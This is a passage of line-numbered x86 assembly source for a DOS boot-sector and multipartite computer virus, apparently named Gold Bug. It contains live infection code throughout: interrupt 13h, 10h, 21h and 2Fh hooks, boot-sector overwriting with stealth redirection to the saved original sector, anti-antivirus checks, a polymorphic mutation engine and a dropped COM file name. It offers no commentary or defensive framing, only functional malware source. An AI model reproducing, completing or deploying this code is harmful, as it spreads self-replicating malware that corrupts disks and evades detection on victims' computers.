  1266.  
  1267. boot_code:
  1268.  
  1269.  
  1270.  
  1271. ;-----------------------------------------------------------------------------
  1272.  
  1273.  
  1274.  
  1275. initialize_boot    proc    near
  1276.  
  1277.         IF    ANTI_ANTIVIRUS
  1278.  
  1279.         db    'CHKLIST????'
  1280.  
  1281.         cli
  1282.  
  1283.         push    cs
  1284.  
  1285.         mov    si,BOOT_OFFSET-SECTOR_SIZE
  1286.  
  1287.         pop    ss
  1288.  
  1289.         mov    sp,si
  1290.  
  1291.         sti
  1292.  
  1293.         push    cs
  1294.  
  1295.         org    PART_OFFSET+DESCRIPTOR_OFF
  1296.  
  1297.         db    high(DESCRIPTOR)
  1298.  
  1299.         pop    ds
  1300.  
  1301.         mov    cx,COM_CODE_SECTOR
  1302.  
  1303.         pushf
  1304.  
  1305.         push    cs
  1306.  
  1307.         push    BOOT_OFFSET
  1308.  
  1309.         mov    ax,READ_A_SECTOR
  1310.  
  1311.         ELSE
  1312.  
  1313.         cli
  1314.  
  1315.         push    cs
  1316.  
  1317.         mov    si,BOOT_OFFSET-SECTOR_SIZE
  1318.  
  1319.         pop    ss
  1320.  
  1321.         mov    sp,si
  1322.  
  1323.         sti
  1324.  
  1325.         pushf
  1326.  
  1327.         push    cs
  1328.  
  1329.         push    BOOT_OFFSET
  1330.  
  1331.         push    cs
  1332.  
  1333.         mov    cx,COM_CODE_SECTOR
  1334.  
  1335.         mov    ax,READ_A_SECTOR
  1336.  
  1337.         org    PART_OFFSET+DESCRIPTOR_OFF
  1338.  
  1339.         db    high(DESCRIPTOR)
  1340.  
  1341.         pop    ds
  1342.  
  1343.         ENDIF
  1344.  
  1345.         push    cs
  1346.  
  1347.         pop    es
  1348.  
  1349. dh_value:    mov    dx,NULL
  1350.  
  1351.         mov    bx,dx
  1352.  
  1353.         xor    dh,al
  1354.  
  1355.         shr    dx,1
  1356.  
  1357.         mov    dh,bh
  1358.  
  1359.         push    dx
  1360.  
  1361.         mov    bx,si
  1362.  
  1363.         push    ax
  1364.  
  1365.         int    DISK_INT
  1366.  
  1367.         pop    ax
  1368.  
  1369.         mov    di,VIDEO_INT_ADDR
  1370.  
  1371.         mov    bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
  1372.  
  1373.         call    get_n_set_int+ONE_BYTE
  1374.  
  1375.         mov    bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
  1376.  
  1377.         cmp    dx,LOW_JMP_10
  1378.  
  1379.         je    try_this_out
  1380.  
  1381.         cmp    byte ptr ds:[VIDEO_MODE],MONOCHROME
  1382.  
  1383.         jae    try_this_out
  1384.  
  1385.         mov    di,DISK_INT_ADDR
  1386.  
  1387.         IF    MULTIPARTITE
  1388.  
  1389.         call    set_both_ints
  1390.  
  1391.         ELSE
  1392.  
  1393.         mov    bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
  1394.  
  1395.         call    get_n_set_int+ONE_BYTE
  1396.  
  1397.         mov    bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
  1398.  
  1399.         call    set_interrupt
  1400.  
  1401.         ENDIF
  1402.  
  1403.         mov    ch,high(COLOR_VIDEO_MEM)
  1404.  
  1405.         mov    bx,offset high_code+RELATIVE_OFFSET
  1406.  
  1407. try_this_out:    push    cx
  1408.  
  1409.         push    bx
  1410.  
  1411.         mov    es,cx
  1412.  
  1413.         call    full_move_w_si
  1414.  
  1415.         retf
  1416.  
  1417. initialize_boot    endp
  1418.  
  1419.  
  1420.  
  1421. ;-----------------------------------------------------------------------------
  1422.  
  1423.  
  1424.  
  1425. high_code    proc    near
  1426.  
  1427.         mov    dx,offset int_10_start+RELATIVE_OFFSET
  1428.  
  1429.         mov    bx,LOW_JMP_10-FAR_JUMP_OFFSET
  1430.  
  1431.         call    set_int_10_21
  1432.  
  1433.         mov    bx,VIDEO_INT_ADDR-SET_INT_OFFSET
  1434.  
  1435. low_code:    mov    es,cx
  1436.  
  1437.         mov    cl,OLD_BOOT_SECTOR
  1438.  
  1439.         mov    dx,LOW_JMP_10
  1440.  
  1441.         call    set_interrupt
  1442.  
  1443.         mov    bx,BOOT_OFFSET
  1444.  
  1445.         pop    dx
  1446.  
  1447.         int    DISK_INT
  1448.  
  1449.         xor    dh,dh
  1450.  
  1451.         mov    cl,BOOT_SECTOR
  1452.  
  1453.         mov    ax,WRITE_A_SECTOR
  1454.  
  1455. high_code    endp
  1456.  
  1457.  
  1458.  
  1459. ;-----------------------------------------------------------------------------
  1460.  
  1461.  
  1462.  
  1463. interrupt_13    proc    far
  1464.  
  1465. int_13_start:    IF    MULTIPARTITE
  1466.  
  1467.         mov    byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
  1468.  
  1469.         ENDIF
  1470.  
  1471.         cmp    cx,BOOT_SECTOR
  1472.  
  1473.         jne    no_boot_sector
  1474.  
  1475.         cmp    ah,high(READ_A_SECTOR)
  1476.  
  1477.         jne    no_boot_sector
  1478.  
  1479.         cmp    dx,HD_0_HEAD_0
  1480.  
  1481.         jbe    reread_boot
  1482.  
  1483. no_boot_sector:    int    NEW_INT_13_LOOP
  1484.  
  1485.         jmp    short return_far
  1486.  
  1487. reread_boot:    int    NEW_INT_13_LOOP
  1488.  
  1489.         jc    return_far
  1490.  
  1491.         pusha
  1492.  
  1493.         push    ds
  1494.  
  1495.         push    es
  1496.  
  1497.         pop    ds
  1498.  
  1499. check_old_boot:    mov    ax,READ_A_SECTOR
  1500.  
  1501.         xor    dh,dh
  1502.  
  1503.         mov    cl,OLD_BOOT_SECTOR
  1504.  
  1505.         IF    ANTI_ANTIVIRUS
  1506.  
  1507.         cmp    word ptr ds:[bx],'HC'
  1508.  
  1509.         ELSE
  1510.  
  1511.         cmp    word ptr ds:[bx],CLI_PUSHCS
  1512.  
  1513.         ENDIF
  1514.  
  1515.         je    read_old_boot
  1516.  
  1517.         test    dl,USING_HARD_DISK
  1518.  
  1519.         jnz    encode_hd
  1520.  
  1521.         cmp    word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
  1522.  
  1523.         jne    time_to_leave
  1524.  
  1525.         mov    dh,al
  1526.  
  1527.         pusha
  1528.  
  1529.         int    NEW_INT_13_LOOP
  1530.  
  1531.         cmp    byte ptr ds:[bx],ch
  1532.  
  1533.         popa
  1534.  
  1535.         pushf
  1536.  
  1537.         pusha
  1538.  
  1539.         xor    dh,dh
  1540.  
  1541.         mov    cl,al
  1542.  
  1543.         int    NEW_INT_13_LOOP
  1544.  
  1545.         popa
  1546.  
  1547.         popf
  1548.  
  1549.         jne    time_to_leave
  1550.  
  1551. encode_hd:    mov    ah,high(WRITE_A_SECTOR)
  1552.  
  1553.         push    ax
  1554.  
  1555.         int    NEW_INT_13_LOOP
  1556.  
  1557.         pop    ax
  1558.  
  1559.         jc    time_to_leave
  1560.  
  1561.         mov    di,bx
  1562.  
  1563.         call    move_code
  1564.  
  1565.         mov    cl,COM_CODE_SECTOR
  1566.  
  1567.         IF    POLYMORPHIC
  1568.  
  1569.         xor    byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
  1570.  
  1571.         org    $-REMOVE_NOP
  1572.  
  1573.         jo    dont_flip_it
  1574.  
  1575.         xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
  1576.  
  1577.         org    $-REMOVE_NOP
  1578.  
  1579.         xchg    ah,al
  1580.  
  1581.         xchg    word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
  1582.  
  1583.         org    $-REMOVE_NOP
  1584.  
  1585.         xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
  1586.  
  1587.         org    $-REMOVE_NOP
  1588.  
  1589.         ENDIF
  1590.  
  1591. dont_flip_it:    pusha
  1592.  
  1593.         int    NEW_INT_13_LOOP
  1594.  
  1595.         popa
  1596.  
  1597.         mov    di,bx
  1598.  
  1599.         call    move_some_more
  1600.  
  1601.         mov    byte ptr ds:[bx+DH_OFFSET],dh
  1602.  
  1603.         org    $-REMOVE_NOP
  1604.  
  1605.         mov    dh,cl
  1606.  
  1607.         inc    cx
  1608.  
  1609.         int    NEW_INT_13_LOOP
  1610.  
  1611.         jmp    short check_old_boot
  1612.  
  1613. read_old_boot:    mov    dh,byte    ptr ds:[bx+DH_OFFSET]
  1614.  
  1615.         org    $-REMOVE_NOP
  1616.  
  1617.         int    NEW_INT_13_LOOP
  1618.  
  1619. time_to_leave:    pop    ds
  1620.  
  1621.         popa
  1622.  
  1623.         clc
  1624.  
  1625. return_far:    retf    KEEP_CF_INTACT
  1626.  
  1627. interrupt_13    endp
  1628.  
  1629.  
  1630.  
  1631. ;-----------------------------------------------------------------------------
  1632.  
  1633.  
  1634.  
  1635. interrupt_2f    proc    far
  1636.  
  1637.         pusha
  1638.  
  1639.         push    ds
  1640.  
  1641.         push    es
  1642.  
  1643.         push    offset return_to_2f+RELATIVE_OFFSET
  1644.  
  1645.         xor    cx,cx
  1646.  
  1647.         mov    ds,cx
  1648.  
  1649.         mov    bx,SAVE_INT_CHAIN-SET_INT_OFFSET
  1650.  
  1651.         cmp    ax,WINDOWS_END
  1652.  
  1653.         jne    try_another
  1654.  
  1655.         les    dx,dword ptr ds:[bx+SET_INT_OFFSET]
  1656.  
  1657.         jmp    short set_13_chain
  1658.  
  1659. try_another:    cmp    ax,WINDOWS_BEGIN
  1660.  
  1661.         jne    another_return
  1662.  
  1663.         mov    di,VIRGIN_INT_13_B
  1664.  
  1665.         call    get_n_set_int+ONE_BYTE
  1666.  
  1667.         les    dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
  1668.  
  1669. set_13_chain:    mov    ax,READ_A_SECTOR
  1670.  
  1671.         call    get_set_part
  1672.  
  1673.         mov    bx,VIRGIN_INT_13_B-SET_INT_OFFSET
  1674.  
  1675.         call    set_interrupt
  1676.  
  1677.         mov    bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
  1678.  
  1679.         call    set_interrupt
  1680.  
  1681.         mov    ah,high(WRITE_A_SECTOR)
  1682.  
  1683. interrupt_2f    endp
  1684.  
  1685.  
  1686.  
  1687. ;-----------------------------------------------------------------------------
  1688.  
  1689.  
  1690.  
  1691. get_set_part    proc    near
  1692.  
  1693.         pusha
  1694.  
  1695.         push    es
  1696.  
  1697.         mov    bx,SCRATCH_AREA
  1698.  
  1699.         mov    es,bx
  1700.  
  1701.         mov    dx,HD_0_HEAD_0
  1702.  
  1703.         inc    cx
  1704.  
  1705.         int    NEW_INT_13_LOOP
  1706.  
  1707.         mov    ax,READ_A_SECTOR
  1708.  
  1709.         int    DISK_INT
  1710.  
  1711.         pop    es
  1712.  
  1713.         popa
  1714.  
  1715. another_return:    ret
  1716.  
  1717. get_set_part    endp
  1718.  
  1719.  
  1720.  
  1721. ;-----------------------------------------------------------------------------
  1722.  
  1723.  
  1724.  
  1725. return_to_2f    proc    near
  1726.  
  1727.         pop    es
  1728.  
  1729.         pop    ds
  1730.  
  1731.         popa
  1732.  
  1733.         jmp    far ptr    original_2f_jmp
  1734.  
  1735. return_to_2f    endp
  1736.  
  1737.  
  1738.  
  1739. ;-----------------------------------------------------------------------------
  1740.  
  1741.  
  1742.  
  1743. interrupt_10    proc    far
  1744.  
  1745. int_10_start:    pushf
  1746.  
  1747.         pusha
  1748.  
  1749.         push    ds
  1750.  
  1751.         push    es
  1752.  
  1753.         push    offset a_return+RELATIVE_OFFSET
  1754.  
  1755. from_com_code:    xor    bx,bx
  1756.  
  1757.         mov    ds,bx
  1758.  
  1759.         or    ah,ah
  1760.  
  1761.         jz    set_10_back
  1762.  
  1763.         mov    ax,QUERY_FREE_HMA
  1764.  
  1765.         int    MULTIPLEX_INT
  1766.  
  1767.         cmp    bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
  1768.  
  1769.         jb    another_return
  1770.  
  1771.         mov    ax,ALLOCATE_HMA
  1772.  
  1773.         int    MULTIPLEX_INT
  1774.  
  1775.         clc
  1776.  
  1777.         call    full_move_w_di
  1778.  
  1779.         mov    dx,offset int_13_start+RELATIVE_OFFSET
  1780.  
  1781.         call    set_13_chain
  1782.  
  1783.         mov    bx,VIRGIN_INT_2F-SET_INT_OFFSET
  1784.  
  1785.         mov    dx,offset interrupt_2f+RELATIVE_OFFSET
  1786.  
  1787.         call    set_interrupt
  1788.  
  1789.         cmp    word ptr ds:[LOW_JMP_10],cx
  1790.  
  1791.         je    set_10_back
  1792.  
  1793.         push    es
  1794.  
  1795.         push    es
  1796.  
  1797.         mov    di,DOS_INT_ADDR
  1798.  
  1799.         mov    bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
  1800.  
  1801.         call    get_n_set_int+ONE_BYTE
  1802.  
  1803.         pop    ds
  1804.  
  1805.         mov    bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
  1806.  
  1807.         call    set_interrupt
  1808.  
  1809.         mov    ds,cx
  1810.  
  1811.         mov    ax,DOS_SET_INT+DOS_INT
  1812.  
  1813.         mov    dx,LOW_JMP_21
  1814.  
  1815.         int    INT_21_IS_NOW
  1816.  
  1817.         pop    es
  1818.  
  1819.         mov    bx,dx
  1820.  
  1821.         mov    dx,offset interrupt_21+RELATIVE_OFFSET
  1822.  
  1823.         mov    word ptr ds:[bx],0b450h
  1824.  
  1825.         mov    word ptr ds:[bx+TWO_BYTES],0cd19h
  1826.  
  1827.         mov    word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
  1828.  
  1829.         call    set_int_10_21
  1830.  
  1831. set_10_back:    mov    di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
  1832.  
  1833.         mov    bx,LOW_JMP_10-FAR_JUMP_OFFSET
  1834.  
  1835. interrupt_10    endp
  1836.  
  1837.  
  1838.  
  1839. ;-----------------------------------------------------------------------------
  1840.  
  1841.  
  1842.  
  1843. get_n_set_int    proc    near
  1844.  
  1845.         les    dx,dword ptr cs:[di]
  1846.  
  1847.         jmp    short set_interrupt
  1848.  
  1849. set_int_10_21:    mov    byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
  1850.  
  1851. set_interrupt:    mov    word ptr ds:[bx+SET_INT_OFFSET],dx
  1852.  
  1853.         mov    word ptr ds:[bx+CHANGE_SEG_OFF],es
  1854.  
  1855.         ret
  1856.  
  1857. get_n_set_int    endp
  1858.  
  1859.  
  1860.  
  1861. ;-----------------------------------------------------------------------------
  1862.  
  1863.  
  1864.  
  1865.         IF    MULTIPARTITE
  1866.  
  1867. set_both_ints    proc    near
  1868.  
  1869.         mov    bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
  1870.  
  1871.         call    get_n_set_int+ONE_BYTE
  1872.  
  1873.         mov    bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
  1874.  
  1875.         jmp    short set_interrupt
  1876.  
  1877. set_both_ints    endp
  1878.  
  1879.         ENDIF
  1880.  
  1881.  
  1882.  
  1883. ;-----------------------------------------------------------------------------
  1884.  
  1885.  
  1886.  
  1887.         IF    EXECUTE_SPAWNED
  1888.  
  1889. exec_table    db    COMMAND_LINE,FIRST_FCB,SECOND_FCB
  1890.  
  1891.         ENDIF
  1892.  
  1893.  
  1894.  
  1895. ;-----------------------------------------------------------------------------
  1896.  
  1897.  
  1898.  
  1899.         IF    MODEM_CODE
  1900.  
  1901.         org    PART_OFFSET+001f3h
  1902.  
  1903. string        db    CR,'1O7=0SLMTA'
  1904.  
  1905.         ENDIF
  1906.  
  1907.  
  1908.  
  1909. ;-----------------------------------------------------------------------------
  1910.  
  1911.  
  1912.  
  1913.         org    PART_OFFSET+SECTOR_SIZE-TWO_BYTES
  1914.  
  1915. partition_sig    dw    0aa55h
  1916.  
  1917.  
  1918.  
  1919. ;-----------------------------------------------------------------------------
  1920.  
  1921.  
  1922.  
  1923.         org    PART_OFFSET+SECTOR_SIZE+TWO_BYTES
  1924.  
  1925. file_name    db    'DA',027h,'BOYS.COM',NULL
  1926.  
  1927.  
  1928.  
  1929. ;-----------------------------------------------------------------------------
  1930.  
  1931.  
  1932.  
  1933.         org    PARAMETER_TABLE
  1934.  
  1935.         dw    NULL,NULL,NULL,NULL,NULL,NULL,NULL
  1936.  
  1937.         db    NULL
  1938.  
  1939.  
  1940.  
  1941. ;-----------------------------------------------------------------------------
  1942.  
  1943.  
  1944.  
  1945.         IFE    MULTIPARTITE
  1946.  
  1947. boot_load    proc    near
  1948.  
  1949.         push    cs
  1950.  
  1951.         pop    es
  1952.  
  1953.         call    full_move_w_si
  1954.  
  1955.         mov    ds,cx
  1956.  
  1957.         cmp    cx,word    ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
  1958.  
  1959.         jne    dont_set_intcd
  1960.  
  1961.         lds    dx,dword ptr ds:[VIRGIN_INT_13_B]
  1962.  
  1963.         mov    ax,DOS_SET_INT+NEW_INT_13_LOOP
  1964.  
  1965.         int    DOS_INT
  1966.  
  1967. dont_set_intcd:    mov    ah,high(GET_DEFAULT_DR)
  1968.  
  1969.         int    DOS_INT
  1970.  
  1971.         call    from_com_code+RELATIVE_OFFSET
  1972.  
  1973.         mov    ax,TERMINATE_W_ERR
  1974.  
  1975.         int    DOS_INT
  1976.  
  1977. boot_load    endp
  1978.  
  1979.         ENDIF
  1980.  
  1981.  
  1982.  
  1983. ;-----------------------------------------------------------------------------
  1984.  
  1985.  
  1986.  
  1987.         IF    POLYMORPHIC
  1988.  
  1989. load_it        proc    near
  1990.  
  1991.         mov    word ptr ds:[si],FILE_SIGNATURE
  1992.  
  1993.         mov    byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
  1994.  
  1995.         push    bx
  1996.  
  1997.         xor    ax,ax
  1998.  
  1999.         cli
  2000.  
  2001.         out    043h,al
  2002.  
  2003.         in    al,040h
  2004.  
  2005.         mov    ah,al
  2006.  
  2007.         in    al,040h
  2008.  
  2009.         sti
  2010.  
  2011.         push    ax
  2012.  
  2013.         and    ax,0001eh
  2014.  
  2015.         mov    bx,ax
  2016.  
  2017.         mov    ax,word    ptr ds:[bx+two_byte_table]
  2018.  
  2019.         mov    word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
  2020.  
  2021.         org    $-REMOVE_NOP
  2022.  
  2023.         pop    ax
  2024.  
  2025.         and    ax,003e0h
  2026.  
  2027.         mov    cl,FIVE_BITS
  2028.  
  2029.         shr    ax,cl
  2030.  
  2031.         mov    bx,ax
  2032.  
  2033.         mov    al,byte    ptr ds:[bx+one_byte_table]
  2034.  
  2035.         xor    al,low(INC_BL)
  2036.  
  2037.         mov    byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
  2038.  
  2039.         pop    bx
  2040.  
  2041.         jmp    com_start
  2042.  
  2043. load_it        endp
  2044.  
  2045.  
  2046.  
  2047. ;-----------------------------------------------------------------------------
  2048.  
  2049.  
  2050.  
  2051. two_byte_table:    mov    al,0b2h
  2052.  
  2053.         xor    al,0b4h
  2054.  
  2055.         and    al,0d4h
  2056.  
  2057.         les    ax,dword ptr ds:[si]
  2058.  
  2059.         les    cx,dword ptr ds:[si]
  2060.  
  2061.         les    bp,dword ptr ds:[si]
  2062.  
  2063.         adc    al,0d4h
  2064.  
  2065.         and    al,084h
  2066.  
  2067.         adc    al,084h
  2068.  
  2069.         adc    al,024h
  2070.  
  2071.         add    al,084h
  2072.  
  2073.         add    al,014h
  2074.  
  2075.         add    al,024h
  2076.  
  2077.         test    dl,ah
  2078.  
  2079.         repz    stc
  2080.  
  2081.         repnz    stc
  2082.  
  2083.  
  2084.  
  2085. ;-----------------------------------------------------------------------------
  2086.  
  2087.  
  2088.  
  2089. one_byte_table:    int    SINGLE_BYTE_INT
  2090.  
  2091.         into
  2092.  
  2093.         daa
  2094.  
  2095.         das
  2096.  
  2097.         aaa
  2098.  
  2099.         aas
  2100.  
  2101.         inc    ax
  2102.  
  2103.         inc    cx
  2104.  
  2105.         inc    dx
  2106.  
  2107.         inc    bp
  2108.  
  2109.         inc    di
  2110.  
  2111.         dec    ax
  2112.  
  2113.         dec    cx
  2114.  
  2115.         dec    dx
  2116.  
  2117.         dec    bp
  2118.  
  2119.         dec    di
  2120.  
  2121.         nop
  2122.  
  2123.         xchg    cx,ax
  2124.  
  2125.         xchg    dx,ax
  2126.  
  2127.         xchg    bp,ax
  2128.  
  2129.         xchg    di,ax
  2130.  
  2131.         cbw
  2132.  
  2133.         cwd
  2134.  
  2135.         lahf
  2136.  
  2137.         scasb
  2138.  
  2139.         scasw
  2140.  
  2141.         xlat
  2142.  
  2143.         repnz
  2144.  
  2145.         repz
  2146.  
  2147.         cmc
  2148.  
  2149.         clc
  2150.  
  2151.         stc
  2152.  
  2153.         ENDIF
  2154.  
  2155.  
  2156.  
  2157. ;-----------------------------------------------------------------------------
  2158.  
  2159.  
  2160.  
  2161. gold_bug    endp
  2162.  
  2163. cseg        ends
  2164.  
  2165. end        com_code
  2166.  
  2167.